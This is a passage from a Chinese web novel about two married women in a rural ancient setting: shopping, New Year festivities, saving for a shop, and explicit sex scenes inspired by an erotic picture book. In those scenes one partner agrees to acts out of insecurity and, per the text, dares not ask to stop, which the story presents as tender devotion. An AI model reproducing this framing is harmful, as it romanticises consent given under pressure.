沈惜枝刚刚不清醒,现在清醒过来,懂了什么,心虚的捂着被揉捏乱的头发心虚应了一声,“哦……对不起嘛。” 还会道歉,有点乖。 第84章 甜甜日常~ 沈惜枝白日也要腻着与妻子一块儿去镇上,如今她被养的胆子也肥了,不再是单方面的只敢接受不敢置喙,家里的钱现在都得她说了能花,她才敢花。 “雪花膏用完了,等会儿我带你去买一点成不。” 小媳妇儿坐在一边什么都不用做,宋渝归就觉得干劲满满。 从前她为了攒钱修房子,总会在一旁编竹筐,但现在没那么穷了,冬天编竹筐冻手又辛苦,银子也没几个,她便不许她编,只让她在一旁坐着,偶尔收个钱。 惜枝在情事上不听话,这等小事上倒十分乖巧,说不给编就不编了,每天坐在猪肉铺子旁挂着温柔笑容,看着往来的客人。 镇上少了一个李屠户,肉便卖的快了,堪堪不到午时卖完,宋渝归收了摊,没拉车,先带着媳妇儿去专卖胭脂水粉的铺子里买东西。 她们好一段时间没来了,沈惜枝听渝归姐姐念叨过好几次,现在她再想来,便没拦着,只是定了个数,不能花超过一两。 今儿她们赚了一两半,怎么也得剩下一些。 宋渝归一口答应下来,今时不同往日,她已经不是一开始刚赚了钱那没见过好东西的样子了。 初来古代,穷的她差点没以头抢地,家里啥都没有,连菜种子都是她赚了钱后买的,这样穷过一段日子,忽然好了,在村里也算一户富裕人家了,她自然便想多买点东西,弥补一开始的自己。 但弥补到现在也算差不多了,心情终于平稳下来。 两人时常来这眷烟阁买东西,也是轻车熟路,不必人指引便去了摆放雪花膏的架子,今日媳妇儿给开了一两银子的花销,她能多花点,直接买了四盒。 只花了两百文,沈惜枝见她付了钱拿了雪花膏,下意识以为买完了就要走,却又被妻子拉回来,“先别走呀,我还要买呢。” “还有什么?” 沈惜枝抿了抿唇。 她就知道渝归姐姐不改本性,还是这般爱花钱。 “买个头油啊,我之前闻到楚姑娘头发香香的,问她是什么,她说是新得的头油,我们也买一个好不好?” 这回沈惜枝没有回绝,她见妻子这副模样,明显是对楚姑娘生了艳羡之情,我妻子怎么能羡慕旁人,买! 必须买! 两人不知头油在何处买,问了店里的小二,小二将她们带过去还给她们介绍了每款头油的香味。 沈惜枝抱着妻子手臂,探头探脑好奇的看,“你想要个什么味道的呀。” “买两个好不好,我想换着用。” “嗯,当然可以啦。” 小媳妇儿乖乖道,她不想见到妻子艳羡旁人的模样。 一点都不想。 她的妻子合该得到世上最好的东西。 “我要一个桂花味的一个桃花味的。” 她拿出来给沈惜枝闻了一下,果然好闻,她们都喜欢。 一罐头油居然也要二十文,这一会儿便又下去四十文。 但能买得妻君高兴,她也乐意。 两人在街上逛了逛,买了糖葫芦与糖画,才手牵手往家走。 池厢月和楚晚棠早早在院子里等吃了,一见她们回来,池厢月立马站起身,猛猛挥手,“渝归,惜枝,你们可算回来了,你家的鸡我都给你们喂了。” 她以前就爱干喂鸡的活。 宋渝归也挥挥手回应她,惜枝去庖厨准备午饭,今晚打算再做一次手抓饼,池厢月最近一直缠着要吃,她想吃楚晚棠便也想吃。 沈惜枝答应今日再给做一回。 里面和着面,她出来想把之前堆积的衣服都找出来洗了,趁着下午有太阳。 然而在屋里翻遍了,却没翻到一件脏衣服,不是? 我衣服呢? 小惜枝茫然看向在梳妆台摆弄头油的妻子,微微蹙着一双细烟眉,“渝归姐姐,我们家好像进贼了。” “啊?” 宋渝归先是疑惑,紧接着大惊失色。 “什么,我们家进贼了?!” 不是,不是? 我就说不能住在村子里,治安也太差了! 今天是进贼偷东西,明天不得要我小命? 她小心发问,“家里丢了何物?” 沈惜枝一脸忧愁,“衣服,好多件衣服都丢了,你看,我本来放在这里的,现在一件也没有了。” 指了指她放脏衣服的地方。 宋渝归看了,一阵沉默。 这……额…… 她心虚,“你说的不会是那几件准备洗的脏衣服吧?” 沈惜枝继续发愁,“是啊,都是妻君买的,很贵的,还没穿几次呢。” 没穿几次就被人偷走了,她心疼的要命。 宋渝归直起腰,摸了摸自己后脑勺,“那什么,小枝儿,别担心了,那些衣服我拿给别人去洗了。” 沈惜枝呆愣,反应过来后,怒气瞬间让她脸颊鼓起,气呼呼瞪着人,“宋渝归!那你怎么不和我说!” 她,她居然背着我偷偷花钱! 哼。 “我和你说了你又不让我做,那我只能偷偷来嘛。” 她心疼惜枝大冷的天还要洗衣服,惜枝也心疼赚钱不易,可她觉得,赚钱再难,洗个衣服不过几文钱,还没今儿买的糖人贵呢。 当然得紧着自己的身体。 “哎呀,妻君真是……” 沈惜枝想骂她,又骂不出口,舍不得骂她,最后只能哼哼两声,没有任何威慑力。 宋渝归听了,温声认错,“好了好了,钱都花出去了,你就别与我生气了嘛,也给村里其他人一些赚钱机会,嗯?” 她声音温柔极了,沈惜枝本就没舍得与她生气,不消一会儿便被哄好,躺在她怀里,蹭着她的脖子问她,“那你花了多少钱呀。” “我给的衣服比较多,花了五文钱。” 五文钱,比她那时候好多了,她若能得五文钱洗一次衣裳,会很高兴的。 冬天洗衣服比夏天辛苦多了,确实不能太欺负人家。 沈惜枝点点头,又仰起脖子亲了她一口,“好吧,那你下次找人洗衣服的时候要和我说哦,不然我还以为家里进贼了呢。” 她吓死了。 宋渝归摸摸媳妇儿娇嫩的脸蛋,温声答应,“好,只要你不反对,我定然是会告诉你的。” 沈惜枝与人黏糊完,又乖乖做饭去了。 她做了好几张手抓饼,有多出来的第二天可以当早餐吃。 出去买方便是方便,可来来去去只那几样,早都吃腻了。 酱也依旧是酸酸甜甜的番茄酱,很让人喜欢。 吃过饭后,池厢月懒洋洋躺在院子里,虽然天气冷,但她是习武之人,也不咋怕冷,反而吹一吹冷风能叫脑子更清醒些。 躺了一会儿,宋渝归便出来陪她们,惜枝被下令必须披了披风才能出门吹风,寻披风去了。 池厢月见她不在,咳了两声,鬼鬼祟祟的凑近,“我近期新得了一话本,你要不要看看?” 宋渝归:…… 女主好样的,成了磨镜之后比我玩的还花。 她低下头,却也是毫不犹豫,“要!” 楚晚棠淡淡瞥了两人一眼,没说话,还将屋里刚出来的沈惜枝拦住了,与她站在鸡舍旁边说话。 宋渝归叹为观止,“楚姑娘一直这么纵着你吗?” 这话可叫人不服了。 池厢月直起腰,“怎么能是她纵着我,分明是我宠着她啊,无论她做了什么缺德事,我都不舍得伤她的!” “楚姑娘做什么缺德事了?” 她又问,这下池厢月就闭嘴了,安静如鸡抬头望天,只顾把自己怀里的话本一下塞到宋渝归手里,丢下一句“你别管”,不再看她。 沈惜枝茫然的从后面走过来,软声问,“妻君,你们在说什么呀,池姑娘给了你什么?” 宋渝归紧张藏书,“啊,没什么啊,回头再给你看。” 这种不适合大白天在院子里看,可以晚上慢慢钻研…… 第85章 池姑娘的画册 因着白日妻子躲躲藏藏的动作,直到夜间惜枝都有些不高兴,她觉得妻君有事藏着她不让她知道,还是跟旁人的小秘密,两人一起鬼鬼祟祟的模样,她颇有些接受不了。 做饭时也闷闷的,吃饭时更是一言不发,直到最后上榻,憋了一整日的气却没被人哄,沈惜枝怒从中来,抬起一只白玉小脚就踹了坐在床沿的宋渝归一下。 差点没给她踹掉下去。 她被人踹了,不生气,反倒眉眼勾起盈盈笑意,“可算发火了,我瞧你憋了半天。” “你,你看见我不高兴都不管我!” 听她这样说,小枝儿心里更是有些难受了,眉眼水汪汪的,委屈到不行。 宋渝归凑过去抱她,“我看你有事又憋在心里不说,就想看看你什么时候说嘛,你可真能忍,居然一直不说。” 小枝儿满不高兴的推她。 “你瞒着我还有理了,我今日不想和你一起睡,你睡地上。” 她脸颊气鼓鼓的。 很可爱呀。 “我要真睡地上了,你一会儿又该不高兴。” “哼,我才不会呢,我不跟你睡了,你去跟池姑娘睡去。” 宋渝归:??? 气可以乱生话可不能乱说。 “别胡说,我跟池姑娘睡什么,我就爱和你睡。” 惜枝气鼓鼓憋着自己,好一会儿才怒目瞪她,“那你还和池姑娘说悄悄话,看见我出来也故意不告诉我!” 她很生气,她都要气死了,从下午到现在,自己偷偷一个人琢磨,越琢磨越生气。 我妻君和旁的女子有了秘密,即使对方已经成婚,也有了自己的妻子,她还是难免会吃味。 本就是很爱吃醋的人,怎么也改不过来了。 “不是说了回头给你看吗,怎还这样生气。” 宋渝归颇感无奈,她一开始就说了啊,回头看。 沈惜枝坐在床榻中间,闷闷的,“为什么要回头给我看,你那时不能给我看吗,为何遮遮掩掩的。” 宋渝归心虚,“那我怕你看了害羞嘛,好了好了,你想看,我给你看就是,何必动怒。” 她语气无奈,好像沈惜枝无理取闹似的。 沈惜枝:拳头硬了。 但她还没来得及说话,就被妻子再次鬼鬼祟祟,做贼似的样子震慑住了。 什么东西,需要……这个样子给她? 她茫然。 宋渝归轻咳一声,悄咪咪从怀里掏出一只画本。 沈惜枝见到女子裸着肩膀的白色封皮时,心中就升起不好的预感,很有些不想看了,可现在说不看已经晚了。 下一秒,那本册子被人翻开,露出里面两个长发披散的赤裸身体来。 她们…… 嗯? 这是我能看的吗? 沈惜枝本还因好奇被吸引了目光,待看过去后,顿时轻轻呀了一声,连忙抬手捂住眼睛。 脸红的几乎要往外冒热气了,声音细若蚊呐,“池姑娘怎么给你,给你这种东西呀,她也太坏了。” 教坏我妻君。 “嗯,池姑娘坏,我们一起钻研一下这个?” 宋渝归声音温柔,先是敷衍的附和一声,紧接着话里的意思却叫人尴尬极了。 小姑娘眨了眨眼睛,羞怯到浑身冒粉。 这种东西还,还要钻研呀…… “我不要跟你看这个,你也不许看,别和池姑娘学。” 她推着那只手,试图把东西推出自己的视线范围内。 多羞人呀,里面的两个姑娘根本就不正经,池姑娘怎能给我妻君看这种东西…… “可是我也喜欢啊,这东西好生新鲜,里面有很多我们都没试过呢!” 女子结合也是需要刺激的啊! 沈惜枝羞愤欲死,“有什么好试的,哪,哪里新鲜了!” “这还不新鲜?” 那张图片瞬间又被怼到不敢看的沈惜枝面前,只见一女子身上不着一物,被反手绑在了柱子上,另一女子手中拎着似长竹条的物什,竟是抵在了女子下头,被绑女子仰着头,神色不可言说。 这等场面,沈惜枝看一眼大惊失色,看两眼心如死灰,我妻君真的被教坏了! 哪有这般羞人的东西,她还要看,我才不看呢。 小姑娘连忙捂着脸,好像这样就能让那东西消失在自己面前了。 有点可爱。 “看一看嘛,我们学习一下啊,池姑娘和楚姑娘都没有我们在一起的早,可已经在看这些了,我们……” 我们还是老样子,多一点花样都不敢玩。 宋渝归颇为怨念。 沈惜枝不敢相信,捂着脸的手指缝分开一点,透出一双滴溜溜转的黑白分明大眼睛来,小声,“什么,楚姑娘也看这个?我不信。” 楚姑娘看起来那么高傲矜持,怎么会看这种东西呀。 “她看,她怎么不看,她对池姑娘最好了,池姑娘想看,她一定会陪着看的。” 宋渝归一边说,一边委屈巴巴的盯媳妇儿,好像自己被人比下去了一般。 沈惜枝最见不得她如此,脸上的纠结犹豫几乎要溢出来了。 确实,以楚姑娘的性子,若池姑娘很喜欢,楚姑娘一定会陪她一起看的。 此物又是池姑娘给妻君的,她想到白日自己走过来,莫名被楚姑娘拦住了,想必就是在给池姑娘打掩护。 楚姑娘如此纵容池姑娘,倒让她莫名觉得难受了。 我对妻君没有楚姑娘对池姑娘好,这怎么行,妻君受委屈了。 她自认很喜欢很喜欢妻君,不愿让她在这些事上被人比下去。 于是这次没有犹豫太久,人就挪着屁股过来了。 模样十分乖顺。 手放下了,脸还红着,眼睛甚至不敢往下看,嘴上说说着,“那我,我陪你看就是了,你别艳羡旁人。” 她比不得别人拥有的东西多,她于妻君而言,只有满腔浓烈的爱意罢了,若连这也比不过别人…… 她都不知道自己这个妻子是怎么做的。 宋渝归眼珠子都黏在画本上头了,里面的人物被自动替换成她媳妇儿,心驰神往,因此也没发现惜枝突如其来的自卑,当她期盼望去时,惜枝已经收敛好了神色,她艰难的将纤细指尖落在画本上,询问出声,“你想要这样吗?” “嗯,有点想要。” 沈惜枝环顾四周,看见一根柱子后才点了点头,“哦,那,那就下次试试吧。” 家里也有地方可以绑。 宋渝归:? 我老婆又这么好说话了? 她垂眸望去,小枝儿不敢望她,只埋头看画本。 “我还是喜欢那日你绑我的样子。” “哦,哦。” 沈惜枝脸上热的要冒气了,又不敢说什么,只能默默忍了。 只见宋渝归又翻了一页,第二页比之第一页,便要更加不堪入目。 怎么,怎么还有坐人脸上的啊…… 比起前头的,这张图似乎更叫她喜欢些。 宋渝归兴致勃勃,“我们一会儿试试这个吧!” 沈惜枝浑身僵硬,真是怕什么来什么。 她怎好意思脱光了对妻子做出这种事来,但她也……不愿让妻子失望。 她不想一直什么都只顾着自己不愿尝试,让渝归姐姐也跟着只能眼馋不已。 如果渝归姐姐真的很喜欢,她会努力克服的。 沈惜枝在心里暗暗给自己打气。 与妻子说话时声音也格外轻细,透着一股子羞怯,眼睫轻颤,小小声,“那你要轻一点啊,不能咬我。” 两人第一次时她就怕被咬,时至今日还是害怕被咬。 小惜枝怕疼呢。 宋渝归本以为自己还要磨好一会儿,却不想她能一口答应下来,惊的眼珠子都瞪圆了,下意识问,“果真吗?” 被惜枝娇嗔的瞪了一眼,“你喜欢,我怎能不如你所愿。” 妻子喜欢的,她总是要满足她的。 冬日多雪天,临近除夕,村子里又不知不觉的飘起鹅毛大雪来,白茫茫一片,却无人有功夫欣赏。 深夜,外头只剩簌簌的风雪声,村子最为气派的青砖瓦房里却并不安静,旁人家这时候都该睡了,偏她们家总传出一点窸窸窣窣的声音。 帐幔是粉色珠帘加上粉色轻纱,隐隐约约遮住女子玲珑有致的身形,里面轻颤着伸出一只如柔荑般的细嫩小手,拎着衣物,随手便扔在地上,她身上已经什么都不剩了,一片雪白洁净,坐在心上人的腰上。 宋渝归眼睛不错的盯着媳妇儿,见她一举一动诱人至极,心中更是难耐的砰砰直跳。 沈惜枝心里仍旧很害羞,动作却努力大胆了。 难得顺着妻君一次,不想她玩不高兴。 纤细小腰努力在人眼前扭了扭,宋渝归眼珠子这回倒没盯着自己素日爱把玩的腰上去,她不是这么不知好歹的人。 有那一对颤颤悠悠,晃晃荡荡的大白兔,谁还只看腰啊。 大白兔也是她素日爱吃的。 “妻君……” 沈惜枝的声音格外犹豫,她连忙抬头看去,似想给她些什么勇气。 也确实成功了,对方看见她的眼睛,就跟受了蛊惑一样,用力抿了抿唇,然后一鼓作气,小屁股微微抬起,就,就坐在了宋渝归胸口上。 宋渝归:…… 不是,怎么个事儿啊,这么点路都能坐错,别是想反悔吧? 她目光幽幽盯着老婆。 老婆身子泛着浅浅的漂亮的粉色,害羞垂下眼睫,“你,别看我啊,我不是故意的……我没力气嘛。” 想到要做那等事,她就浑身没力气。 沈惜枝鼓了鼓腮帮子,积攒些许力量。 一边说,一边又抬起娇软的臀瓣,闭着眼睛将自己送过去。 这次位置倒没有差太多,只有些没对准,宋渝归捧着媳妇儿的腰替她调整了一下。 沈惜枝自从碰到女子软乎乎的唇瓣后就说不出话来了,胸口起伏不断,口中微微喘着气儿,眼睛先是失神般睁了睁,后头便控制不住微微眯起,十分舒服一般。 她从来没试过这样。 …… 沈惜枝被欺负的狠了也不敢叫她停下,心里只有一个念头支撑,今日我全顺着妻君罢。 于是便只有呜呜咽咽的哭声响起。 她哭的声音都哑了。 两人终于在床上翻身抱在一起。 起初沈惜枝被她弄的软了腿,根本下都下不来,还是她两只手拖着人家屁股给抱下来的。 小姑娘委屈巴巴 ,一从她脸上下来就蒙头钻进她怀里,本就有些细瘦的身子团作一团。 宋渝归满脸水还没来得及擦,就被人强制要求抱住她了。 她也不反抗,温柔疼惜抱着媳妇儿,在她后脑勺尽量安抚的轻揉。 媳妇儿浑身都在抖。 “要不要喝水?我去给你倒一杯水好不好?” 宋渝归温声问。 沈惜枝抓着她的衣服,努力摇头,“不,不喝,先不喝,抱抱。” 她还要抱一会儿,缓解身上爽到战栗的余韵。 宋渝归今儿喝饱了,略微变态的心理也被满足了,自然什么都听惜枝的。 她说要抱抱,她就一直安静抱着人,一边抱一边摩挲她后背。 安抚她。 好一会儿,沈惜枝才从她怀里探出一张精致小脸,“我,我现在要喝水了。” 她的声音还是有些沙哑,配着微皱的眉心,小手小脚,模样温柔婉转,像烟雨中的江南女子。 “嗯,我去给你倒。” 今儿惜枝的一滴水都没有浪费,床铺也没湿,两人一会儿稍加清洗就可以睡觉了。 宋渝归给人倒了茶,坐在床沿上喂着她一口接一口的喝,一杯下去她才停下。 那双漆黑眼眸望着人,欲言又止。 宋渝归望去,只见她又连忙慌乱的移开视线,欲盖弥彰。 顿时被逗笑了,“这是做什么,想看就光明正大的看,怎么还躲躲藏藏呢。” 沈惜枝被人点破,倏地挺直了腰背,声音却没几分底气,目光闪烁,“我,我才没有躲躲藏藏。” “我就是想问问你……” 她欲言又止,漂亮的眼睛黑白分明,又润又亮。 “嗯?” 宋渝归洗耳恭听。 “你,你今天晚上高不高兴呀。” 她突破自己的底线,任由宋渝归胡闹欺负,不过就是要求她一个高兴而已。 心脏又像是被什么东西击中了,反正软软的。 她缓缓笑了,抱着人神色极为认真,“嗯,我今天晚上很高兴,谢谢小枝儿。” 沈惜枝听她高兴,自个儿便也高兴了,弯了弯眼尾,心中的大石放下,等宋渝归去烧热水时便歪在枕头上睡着了。 宋渝归回来,见媳妇儿被子也不盖,抱着一个枕头枕着一个枕头,睡得和小猫儿似的。 不由轻手轻脚去柜子里取了一件雪白的狐裘披风,先盖在人身上,免得她冻着。 热水烧好后再打湿巾子回来替她擦洗一番。 沈惜枝睡着时也很乖,察觉自己在被人摆弄也并不反抗,大抵是周身都是熟悉的气味熟悉的温度,她便眼睛都不睁,几乎抱着枕头酣眠,懒洋洋躺着任由人抬胳膊抬腿儿,里里外外给她擦了一遍。 都收拾干净后,宋渝归才跟着上了床榻,抱着媳妇儿滚了两圈,后盖上松软的被子一起睡觉。 第二天到点儿自动就醒了,但外头天冷,她不想起来。 被窝里暖暖的,还有媳妇儿在呢。 惜枝娇软的胸口格外暖和。 挤在这里面睡了会儿,她更不想起床了。 沈惜枝迷迷糊糊感觉有人在自己身上乱动,眼睛睁开一条缝,声音带着早起的痛苦还有昨日长时间吟哦后剩下的沙哑,赤条条的雪白手臂挂在人脖子上,撒娇道,“我们今晚不弄了好不好,我想早点睡,好困啊……” 她们早上起的很早很早,晚上又经常闹晚了去,白天起的就很艰难了,每次都觉得困。 宋渝归也正有此意,“困死了,今晚肯定不弄了,我们都休息一下。” 美色害人,真真是美色害人啊。 “嗯,那我们再躺一会儿就起来。” 无论昨晚有多累,早上的身体有多疲惫,该去赚的钱还是要赚的,妻君说已经开始给她看店面了,这东西要慢慢看,如果有合适的,跟人商量一下或许明年夏日秋日就能开起来。 盘铺子要很多银钱,她们一年来虽也努力攒了小半年,但跟盘店比起来并不多,妻君说到时候若是钱不够,就宰几头猪卖,也可以先行租赁。 若是一口气要将店铺买下来会贵上很多,于她们而言压力大,但只是租赁的话,手里的钱就很够了。 妻君说最好还是直接买,这样不受约束没有后顾之忧,买不起再租。 两人艰难起了床,收拾好换上早先买的冬袄。 今年冬日她们买的衣裳也少了,一心想将钱攒下来。 就先穿了去岁的,不过新年新气象,新年的新衣服还是要有的。 在现代时爸妈每年都会给自己,给她买新衣服,她把习惯带过来了。 过几日就是春节,今日猪肉卖完,她带着惜枝去了一名唤锦绣阁的新店铺看衣裳。 里头衣裳花样繁多,多是在这小地方没见过的样式。 看着就有些贵。 沈惜枝看得眼光缭乱,宋渝归却有点欣喜,“惜枝,过来试试这件。” 她看中了一件蓝色绣玉兰花纹样宽袖宽摆的长裙,上头刺绣精致,华丽漂亮,但就是有些不适合穿着它喂猪喂鸡。 这样想,她也就直说了。 宋渝归毫不在意,“你已经有很多身适合喂鸡喂猪的衣裳了,买一身不适合的又能怎样?” 她看着好看,很想给老婆买。 小二见状,眼睛转了一圈,连忙迎上来,“姑娘眼光可真好,这件衣裳在我们店里可是仅次于镇店之宝的,您看看这料子,用的是苏州宋锦,穿上去一点儿也不扎人,舒服极了,我给家中的姐姐买过一件,她真是赞不绝口啊,姑娘要不要给你妹妹也买一件?” 宋渝归被人劈头盖脸一番推荐说得有些懵,半天才反应过来,一脸无语,这人若去了现代,真是个做直播的好料子。 “多谢你,这是我妻子。” 镇上很多人都知道惜枝是她妻子,但也难保有一些其他街的人,不在她那买肉,因此不知道两人关系。 小枝儿在听见妹妹二字时便鼓起了脸颊,直到宋渝归解释是妻子,她脸色才稍好了些,但还是不高兴的,偏头不看两人,只娇娇依着妻子。 宋渝归好似还在哄她一般,摸摸她的脸颊,对小二歉意笑了笑。 小二嘴巴张的能塞进去一个鸡蛋,但毕竟也是见过大风大浪的,很快便调整过来了,连忙谄媚道,“原来是夫人啊,那是我有眼不识泰山,夫人要不要看看这条裙子?几个绣娘织了两日才完成的,好着呢。” 沈惜枝视线落在水蓝的裙子上,听见妻君说,再配上家里的狐裘披风一定好看,不由自主点了点头。 确实,光是想想就很配。 但是…… 沈惜枝还没决定要买呢,宋渝归一见她点头,便去向小二问了价,“这件多少钱?” “姑娘好魄力,这件二两多一百文,给您抹个零,算您二两吧。” 抹个零居然是抹一百文,优惠的让人心动,但话又说回了,二两??? 宋渝归捧着那衣服跟捧着什么烫手的山芋一般,她今日都没赚到二两,两人也从未买过这么贵的衣服。 沈惜枝更是大惊失色,连声道,“放下,我不要这件衣服!” 店小二:…… 强颜欢笑,“姑娘,夫人,这一分价钱一分货嘛,二位也是能看出来我们这衣裳有多好的,绣娘可是从京城来的,绣工好着呢,我看夫人生的也是花容月貌国色天香,冬日里穿着这件赏雪,啧啧啧,姑娘您说说。” 嘿,店小二真有点眼光,我媳妇儿就是生的好看。 这几日外面一直断断续续在下雪,早上醒来便一片白茫茫的雪地。 若是惜枝穿着这身衣服在雪地里堆雪人…… 宋渝归感觉自己又心动了。 二两银子虽贵,但并不是出不起的,春节一年才一次,自然要穿的好一些! 买高于自己一日工资的衣服不是很正常吗? 宋渝归很快说服了自己,再听见她说,“我若买了,你能不能送我们点东西?” 临安县毕竟不是什么大地方,一件衣服二两是很贵的价格了,要求送点东西没事吧? 她以前看人家砍价就是这样的,要么少点钱,要么让对方免费送一点东西。 店小二闻言先是呆愣,下意识问,“送什么?” 宋渝归指了指摆在中间的绣鞋,“能不能送我一双鞋子?” 鞋子用的布料比衣服可少多了,也不费事儿,卖的一向比衣裙便宜。 见她只是想要一双鞋子,小二也松了口气,道着去和掌柜说一声,跑了。 从小二夸她起,她就知道妻君又要花银子了,还好妻君又欲讨双鞋,才叫她怀里的心痛散去些许。 银子没了还能再赚,到底一年只过一次春节,二两便二两,但她有个要求。 沈惜枝拉着妻子的手腕,压低声音道,“一会儿你也得买不低于二两的衣服才行。” 不比待她的细致大方,渝归姐姐对自己小气多了,总是给她买贵的好的,自己穿便宜的,这次沈惜枝是说什么也不会依了。 宋渝归知道媳妇儿心疼她,她若不应,一会儿又得气的少吃半碗饭了,本来身上就才这点肉。 “嗯,我也买,我还能委屈自己不成。” 她笑着与妻子说话。 沈惜枝嘟了嘟红嫩的唇瓣,不大高兴,“你就是时常委屈自己,以后你给我买多少银子的衣服,你也要买一样的。” “这便没有必要了吧?” 宋渝归迟疑着刚一说,沈惜枝就瞪她,她只得松口答应。 笑容无奈却十分宠溺。 店小二正好也在这时回来了,说掌柜的答应送她们一双绣花鞋,让她们自己挑选,沈惜枝挑了双蓝色的,与裙子同色,摸起来也是一般材质,这样一会儿就不必额外买一双鞋子了。 第86章 碰瓷了碰瓷了 两人各买了一身新衣新鞋和新里衣,加在一处也花了五两银子。 春节那日,镇上都挂起了红艳艳的迎春灯笼,宋渝归也买了。 她专门买了兔子样式可爱别致的灯笼挂在门前,连庖厨外面都挂了一个,门上还贴有两道对联,是池夫子提笔写的。 沈惜枝穿着一身水蓝长裙,宽摆曳地,在院子里堆雪人。 雪是昨夜新下的,她们今日都穿着新鞋,因此没有弄脏雪。 宋渝归也穿了身嫩黄的新衣,坐在院子门口看媳妇儿玩雪。 “妻君,雪人的鼻子你来画吗?” 小姑娘兴致勃勃堆到一半,又忽然扭头问她。 宋渝归靠在躺椅上,歪了歪头,“嗯?拿根胡萝卜插一下就好了,我才懒得画。” 我有那画画天赋吗,惜枝把雪人堆的这样好看,我可不能上去画一个巨丑无比的鼻子丢人。 “哦。” 沈惜枝应了一声,自己乖乖的把雪人轮廓捏了出来。 中午她们吃的是饺子,羊肉大葱馅儿,汁水丰沛,可香了。 池厢月和她家小表妹还在镇上玩,晚上才回来。 来也不是自己来的,带来了大包小包许多菜。 今晚算是年夜饭,年夜饭自然要吃的好些。 从下午起几人就开始忙活了,帮着惜枝一起备菜收拾,于是晚上得到了一条清蒸鱼,一道红烧羊肉,一道红烧肉,一道啤酒鸭,一道小炒黄牛肉,糖醋排骨,炖肘子,素炒青菜,羊肉汤,番柿炒鸡蛋,鸡蛋羹,足足有十一道菜。 池夫子也被邀请过来吃饭,毕竟是过年,总不好她们这热热闹闹的,叫池夫子孤身一人待在家里吧? 池景明盛情难却,加上确实想凑个热闹,便来了,下筷子的第一口,他就知道为什么月儿每每都要来此用饭了。 他感叹,“沈姑娘做饭技巧娴熟,不输名厨。” 两人听的一顿,诧异抬眸,这就有点夸张了吧,怎么这一父一女都爱如此夸张。 沈惜枝被夸了就很不好意思,羞的抬不起头来,声音细若蚊呐,“多,多谢夫子夸赞,也没有那么好……” “哎,沈姑娘谦虚了。” 这一大一小的口味一模一样,都对沈惜枝做的菜喜欢的不得了。 沈惜枝抿着唇,不好意思极了,只能低头吃菜掩盖脸上的红晕。 虽有十一道菜,但他们也有五个人,每个人少吃饭多吃菜,最后还是七七八八吃完了,再一起收拾好出来看月亮。 池夫子不好和几个姑娘一起看月,于是先行回去,只她们坐在院子里百无聊赖躺着吹风,还有几只晚睡的鸡在旁边走来走去。 沈惜枝默默盯着其中最大的一只,那是她们去年买的鸡,现在已经很大了。 她倏地出声道,“我们明天要不要杀一只鸡?” “嗯?” 院子里其他人也跟着她望去。 日复一日不忘喂鸡的池厢月跳了起来,宋渝归本以为她是有些舍不得自己喂了这么久的鸡,可结果,她痛心疾首,“哎呀,你怎么不早说,早说我们今天就杀了喝鸡汤多好!” 宋渝归:…… 这鸡能在她手里活这么久,也是不容易。 “你想吃就杀一只吧。” “嗯嗯,那我们明日一半喝鸡汤,一边吃炒鸡。” 她喜欢这样吃,这样两种口味都能吃到了。 宋渝归温和点头,冲媳妇儿一招手,沈惜枝就过去了,乖乖与她窝在一个椅子上。 侧首贴着她胸口,还蹭了蹭,模样乖乖软软。 宋渝归心里熨帖极了,老婆在怀的日子也是过上了。 春节这段时间不必去镇上卖肉,两人好好休息了一阵,但她赚钱心切,节后没两天又复工了。 越是贴近春节,肉便卖的越贵些,原本三十五文一斤的猪肉,她现在提价到四十文了,后面会慢慢降下去的。 但这几日赚的还是很多了,本来一日卖的肉能赚一两半多,现在一日卖的肉能挣差不多三两银呢。 家里如今在钱庄存了二百两多两,加上这几日挣的,刚好便有二百五十两。 等再过一月,春季悄无声息来临,冬雪消融,宋渝归也没闲着,去镇上打听起合适的铺子来。 她希望铺子能离自己卖肉的地方近一些,因此便专门在西街打听,寻过几个店面,竟说若要买下来,需得少说一千两银,每月只租赁便就比较便宜,租金一月三十两。 三十两已是宋渝归大半个月的收入了,贵的她直皱眉。 但地段很好,在整个镇的中心地段,也是西街人流量最多的几个店面。 宋渝归这几日一直把银票取出来清点,看过后又放回去,没忍住仰头感叹一声,“好贵啊。” 沈惜枝见不得妻子压力大,怕她累,又心疼极了她。 走上前坐进她怀里,小声道,“那么贵,要不我们就不买了吧,好多钱呢。” 不买这事宋渝归倒是没想过,摇摇头,“那还是要买的,不然你又要觉得家里的钱与你无关了。” “可是,可是你给我买了,也是花你的钱买的啊……” “嗯,但是买了以后你就能挣自己的钱了,说不得挣的比我多多了,我还要靠你养呢。” 她总是逗她。 沈惜枝脸颊泛起漂亮的晕红,乖乖低头,露出纤细雪白的颈项,好一会儿才道,“嗯,我养你,我赚的钱都给你花。” 她一直这么想,也一直是这么做的,惜枝赚的银钱不多,可基本上都给她了。 “嗯,我等着被你包养呢。” 惜枝不知道包养是什么意思,但她知道养是什么意思。 我养妻君,听起来也不错! 沈惜枝眉目弯弯。 接下来的几日她也没闲着,又编起竹篮来,也不单单是竹篮,偶尔还绣几张帕子,摆在竹篮里,若有人喜欢,便可一并买回去。 几文钱一张帕子,绣的却是很精细的,试了几次,卖的也十分不错。 日子一天天过去,又是一年夏,宋渝归这回是当真在认真攒银钱了,一共六个月时间便攒了近三百两,加上前头攒的已有五百两之多了,离目标竟只剩一半。 她还挺满意。 沈惜枝在家中数着银钱,更是满意。 五百两了呢。 家中的母猪前段时间也生了,后院现在住着密密麻麻十多头猪,幸好之前扩了一下,不然都住不下。 母猪第一胎会产少些,五六头的样子,可等第二胎便约摸一胎能产十几头,现下另外几只母猪也已有孕,到时她这肯定是住不下的,已经打算好要把多余的小猪崽卖人了。 一头猪崽能卖五百文,两头便有一两了。 这几日她已经说好了几个想要猪崽的人家。 李大娘家便要两头,其余零零散散的也要几头,若有多的,她一直进货的养猪场老板说他收。 宋渝归将这些都理好,深夜趴进媳妇儿小肚子里撒娇,“好累呀好累呀。” 沈惜枝摸着妻子的后脑勺温声哄她,“辛苦渝归姐姐了,渝归姐姐的好我要记一辈子,以后我什么都听渝归姐姐的。” 她现在说好听话简直就是信手拈来,张嘴就是一溜串,有时显得敷衍,但不妨碍宋渝归听得高兴。 她从人怀里爬起来,捧着媳妇儿的脸狠狠嘬了一口。 “真是乖宝宝。” 沈惜枝搭在她肩上,软软的嘤咛一声,最后无力的伸手落下帐幔,珠子滚落在一起,踏出清脆好听的声音。 她总叫我宝宝,我虽没读过什么书,却也知道只有几岁的婴儿可称为宝宝,而我的妻子,她唤我宝宝,她也确实如她所说的,一直待我如珠似宝。 